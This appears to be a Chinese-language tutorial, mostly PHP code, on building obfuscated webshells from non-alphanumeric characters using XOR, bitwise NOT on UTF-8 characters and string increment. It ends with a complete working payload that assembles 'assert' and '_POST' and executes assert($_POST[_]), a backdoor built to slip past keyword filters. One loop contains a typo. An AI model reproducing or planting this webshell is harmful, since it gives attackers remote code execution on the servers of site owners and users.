异或：
补充：
A的ascii为65，对应二进制是01000001
<?php
echo "1"^"A";
?>
将“A”和“1”进行异或，结果为“p”
异或的过程就是讲字符转化为ascii，再变为二进制进行异或
“1”和“A”各自的ascii码的二进制进行异或得到一个新的二进制，再进行转码，最终变为”p“
构造assert($_POST[_]);
<?PHP
for($i = 0; $i < 256; $i++)
{
for($j=0; $j < 256;$j++)
{
if(chr($i^$j) == 'A')
{
echo (urlencode(chr($i)) . " " . urlencode(chr(&j));
echo "
";
}
}
}
?>
//第六行中的A可以根据需求自行改变
以此类推，可以得到webshell
取反：
利用UTF-8编码的某个汉字，将其中某个字符取出来
<?php
echo ~('和'{2});
?>
<?php
echo ~('安'{2});
?>
结果为
变量自增：
‘a'++ == 'b'
'c'++ == 'd'
不难发现，通过一个字符就可以根据ascii码得到a-z所有字符
<?PHP
echo (''.[]);
?>
数组Array的第一个字母是大写A，而第四个字母是小写a。
在php中，如果强制连接数组和字符串的话，数组将被转换成字符串，即Array
再例如
<?php
function B(){
echo "xiao";
}
$_++;
$__= "?" ^ "}";
$__();
?>
结果为
$_++; 表示对_这个变量进行自增操作，在php中未定义的变量默认值为null，可以通过非数字进行自增操作得到一个数字
$__="?" ^ "}";表示对？和}进行异或运算，结果为B同时复制给$__
$__();函数调用
<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
?>
如图
参考：